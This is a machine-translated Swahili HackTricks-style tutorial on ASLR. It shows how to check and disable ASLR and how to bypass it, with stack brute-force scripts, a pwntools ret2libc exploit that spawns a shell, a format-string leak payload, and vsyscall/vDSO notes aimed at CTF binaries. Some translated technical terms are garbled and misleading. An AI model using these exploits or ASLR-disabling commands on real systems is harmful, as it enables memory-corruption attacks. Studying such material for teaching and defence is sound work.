ASLR

Support HackTricks

Taarifa Msingi

Urambazaji wa Mfumo wa Nafasi ya Anwani kwa Kuchanganyikiwa (ASLR) ni mbinu ya usalama inayotumika katika mifumo ya uendeshaji kwa kuchanganyikiwa nafasi za kumbukumbu zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kutabiri mahali pa michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za uvamizi, hasa mlipuko wa ujazo.

Kuangalia Hali ya ASLR

Kwa kuangalia hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka faili ya /proc/sys/kernel/randomize_va_space. Thamani iliyohifadhiwa kwenye faili hii inaamua aina ya ASLR inayotumiwa:

  • 0: Hakuna kuchanganyikiwa. Kila kitu ni tuli.

  • 1: Kuchanganyikiwa kwa uangalifu. Maktaba zilizoshirikiwa, stack, mmap(), ukurasa wa VDSO zinachanganyikiwa.

  • 2: Kuchanganyikiwa kamili. Mbali na vitu vilivyochanganyikiwa na kuchanganyikiwa kwa uangalifu, kumbukumbu inayosimamiwa kupitia brk() inachanganyikiwa.

Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:

cat /proc/sys/kernel/randomize_va_space

Kulemaza ASLR

Ili kulemaza ASLR, weka thamani ya /proc/sys/kernel/randomize_va_space kuwa 0. Kulemaza ASLR kwa ujumla siyo jambo linalopendekezwa isipokuwa kwenye mazingira ya majaribio au kutatua hitilafu. Hapa ndio jinsi unavyoweza kulimaza:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Unaweza pia kulemaza ASLR kwa utekelezaji na:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Kuwezesha ASLR

Ili kuwezesha ASLR, unaweza kuandika thamani ya 2 kwa faili ya /proc/sys/kernel/randomize_va_space. Kawaida hii inahitaji mamlaka ya mzizi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Uthabiti Kupitia Kuzimwa Upya

Mabadiliko yaliyofanywa kwa kutumia amri za echo ni ya muda na yatarejeshwa wakati wa kuzimwa upya. Ili kufanya mabadiliko yawe ya kudumu, unahitaji kuhariri faili ya /etc/sysctl.conf na kuongeza au kuhariri mstari ufuatao:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Baada ya kuhariri /etc/sysctl.conf, tumia mabadiliko kwa:

sudo sysctl -p

Hii itahakikisha mipangilio yako ya ASLR inabaki hata baada ya kuzima na kuanza upya.

Kupitisha

Kufanya nguvu kwa biti 32

PaX inagawa nafasi ya anwani ya mchakato katika makundi 3:

  • Msimbo na data (iliyoanzishwa na isiyoanzishwa): .text, .data, na .bss —> biti 16 za entropy katika kifaa cha delta_exec. Kifaa hiki kinaanzishwa kwa nasibu kila mchakato na kuongezwa kwa anwani za awali.

  • Kumbukumbu iliyotengwa na mmap() na maktaba zilizoshirikiwa —> biti 16, inayoitwa delta_mmap.

  • Stack —> biti 24, inayoitwa delta_stack. Walakini, inatumia biti 11 kwa ufanisi (kutoka kwa byte ya 10 hadi ya 20 pamoja), imepangwa kwa biti 16 —> Hii inasababisha anwani halisi 524,288 za stack zinazowezekana.

Data iliyotangulia ni kwa mifumo ya biti 32 na entropy ya mwisho iliyopunguzwa inawezesha kupitisha ASLR kwa kujaribu tena na tena hadi shambulio litakapokamilika kwa mafanikio.

Mawazo ya kufanya nguvu:

  • Ikiwa una kutosha kwa kutosha kuhifadhi kifuniko kikubwa cha NOP kabla ya msimbo wa kifaa, unaweza tu kufanya nguvu anwani kwenye stack hadi mtiririko ukipita sehemu ya kifuniko cha NOP.

  • Chaguo lingine kwa hili ikiwa kifurushi sio kikubwa sana na shambulio linaweza kutekelezwa kwa ndani ni kuingiza kifuniko cha NOP na msimbo wa kifaa katika mazingira ya pembejeo.

  • Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu kwa anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Kama unashambulia seva ya mbali, unaweza kujaribu kufanya nguvu ya brute kwa anwani ya kazi ya libc ya usleep, ukitoa kama hoja 10 (kwa mfano). Ikiwa kwa wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

Katika mifumo ya 64bit entropy ni kubwa zaidi na hii haipaswi kuwa rahisi.

64 bits stack brute-forcing

Inawezekana kuchukua sehemu kubwa ya stack na mazingira ya mazingira na kujaribu kutumia binary mamia/elfu ya mara za kienyeji kuitumia. Msimbo ufuatao unaonyesha jinsi inavyowezekana kuchagua tu anwani kwenye stack na kila utekelezaji wa mamia kadhaa anwani hiyo italeta maagizo ya NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Taarifa za Kitaaluma (/proc/[pid]/stat)

Faili ya /proc/[pid]/stat ya mchakato daima inaweza kusomwa na kila mtu na ina taarifa za kuvutia kama vile:

  • startcode & endcode: Anwani juu na chini ya TEXT ya binary

  • startstack: Anwani ya kuanza ya stack

  • start_data & end_data: Anwani juu na chini ambapo BSS iko

  • kstkesp & kstkeip: Anwani za sasa za ESP na EIP

  • arg_start & arg_end: Anwani juu na chini ambapo cli arguments ziko.

  • env_start & env_end: Anwani juu na chini ambapo env variables ziko.

Hivyo, ikiwa mshambuliaji yupo kwenye kompyuta ile ile kama binary inayotumiwa na binary hii haitegemei kujaa kutoka kwa hoja za msingi, bali kutoka kwa ingizo tofauti ambalo linaweza kuundwa baada ya kusoma faili hii. Ni rahisi kwa mshambuliaji kupata baadhi ya anwani kutoka kwenye faili hii na kujenga offsets kutoka kwao kwa ajili ya shambulio.

Kwa habari zaidi kuhusu faili hii angalia https://man7.org/linux/man-pages/man5/proc.5.html ukichunguza /proc/pid/stat

Kuwa na uvujaji

  • Changamoto ni kutoa uvujaji

Ikiwa umepewa uvujaji (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhani kwa mfano unajua toleo sahihi la libc linalotumiwa kwenye mfumo unaoexploit). Shambulio hili la mfano linachimbuka kutoka kwa mfano kutoka hapa (angalia ukurasa huo kwa maelezo zaidi):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Kwa kutumia kuzidi kwa buffer, ingewezekana kutumia ret2plt kuvuja anwani ya kazi kutoka kwa libc. Angalia:

Ret2plt
  • Soma ya Aina ya Fomati ya Kusoma

Kama ilivyo kwa ret2plt, ikiwa una soma ya aina ya fomati kupitia udhaifu wa fomati za fomati, ni rahisi kuvuja anwani ya kazi ya libc kutoka kwa GOT. Mfano ufuatao ni kutoka hapa:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Unaweza kupata habari zaidi kuhusu Soma za Format Strings za kusoma kwa ujanja katika:

Format Strings

Ret2ret & Ret2pop

Jaribu kukiuka ASLR kwa kutumia anwani ndani ya stack:

Ret2ret & Reo2pop

vsyscall

Mfumo wa vsyscall unatumika kuongeza utendaji kwa kuruhusu wito fulani wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya msingi. Faida kuu ya vsyscalls iko katika anwani zao za kudumu, ambazo hazitawaliwi na ASLR (Usanidi wa Nafasi ya Anwani kwa Bahati). Tabia hii ya kudumu inamaanisha kwamba wachomaji hawahitaji mwanya wa kuvuja kwa habari ili kujua anwani zao na kuzitumia katika shambulio. Hata hivyo, hakuna vifaa vya kuvutia sana vitakavyopatikana hapa (ingawa kwa mfano inawezekana kupata ret; sawa)

(Mfano na nambari ifuatayo ni kutoka kwa andiko hili)

Kwa mfano, mchomaji anaweza kutumia anwani 0xffffffffff600800 ndani ya shambulio. Wakati wa kujaribu kuruka moja kwa moja kwa maagizo ya ret inaweza kusababisha kutokuwa imara au kuzimia baada ya kutekeleza vifaa vichache, kuruka mwanzo wa syscall iliyotolewa na sehemu ya vsyscall inaweza kufanikiwa. Kwa kuweka kwa uangalifu kifaa cha ROP kinachoongoza utekelezaji kwa anwani hii ya vsyscall, mchomaji anaweza kufikia utekelezaji wa nambari bila kuhitaji kukiuka ASLR kwa sehemu hii ya shambulio.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Tafadhali elewa jinsi inavyowezekana kupita ASLR kwa kudhuru vdso ikiwa kernel imekusanywa na CONFIG_COMPAT_VDSO kwa sababu anwani ya vdso haitakuwa randomized. Kwa maelezo zaidi angalia:

Ret2vDSO

Last updated